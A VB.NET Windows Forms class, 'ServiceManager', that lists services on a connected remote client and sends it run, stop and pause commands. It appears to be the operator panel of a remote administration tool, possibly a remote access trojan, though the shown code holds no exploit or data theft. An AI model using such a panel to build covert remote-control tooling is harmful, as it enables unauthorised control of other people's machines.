90 lines
3.4 KiB
VB.net
90 lines
3.4 KiB
VB.net
Imports System.Threading
|
|||
|
|
Public Class ServiceManager
|
||
|
|
|
||
|
|
Public C As Client
|
||
|
|
Private Sub ServiceManager_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||
|
|
Refresh()
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Sub Refresh()
|
||
|
|
|
||
|
|
ListView1.Items.Clear()
|
||
|
|
|
||
|
|
ToolStripStatusLabel2.Text = "Wait.."
|
||
|
|
|
||
|
|
Dim B As Byte() = SB("GetService")
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||
|
|
Try
|
||
|
|
If Not C.IsConnected Then
|
||
|
|
Close()
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
||
|
|
Try
|
||
|
|
ToolStripStatusLabel1.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||
|
|
Try
|
||
|
|
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||
|
|
If ListView1.Items.Count > 0 Then
|
||
|
|
For Each x As ListViewItem In ListView1.Items
|
||
|
|
x.Selected = True
|
||
|
|
Next
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub ServiceManager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||
|
|
Dim B As Byte() = SB("CloseServiceManager")
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||
|
|
Refresh()
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub RunningToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RunningToolStripMenuItem.Click
|
||
|
|
Dim Service As String
|
||
|
|
Service = Nothing
|
||
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
||
|
|
Service &= "-=>" & LV.SubItems(0).Text
|
||
|
|
Next
|
||
|
|
Dim B As Byte() = SB("RunService" & SettingsHelper.SPL & Service)
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub StoppedToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StoppedToolStripMenuItem.Click
|
||
|
|
Dim Service As String
|
||
|
|
Service = Nothing
|
||
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
||
|
|
Service &= "-=>" & LV.SubItems(0).Text
|
||
|
|
Next
|
||
|
|
Dim B As Byte() = SB("StopService" & SettingsHelper.SPL & Service)
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub PauseToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PauseToolStripMenuItem1.Click
|
||
|
|
Dim Service As String
|
||
|
|
Service = Nothing
|
||
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
||
|
|
Service &= "-=>" & LV.SubItems(0).Text
|
||
|
|
Next
|
||
|
|
Dim B As Byte() = SB("PauseService" & SettingsHelper.SPL & Service)
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
End Sub
|
||
|
|
End Class
|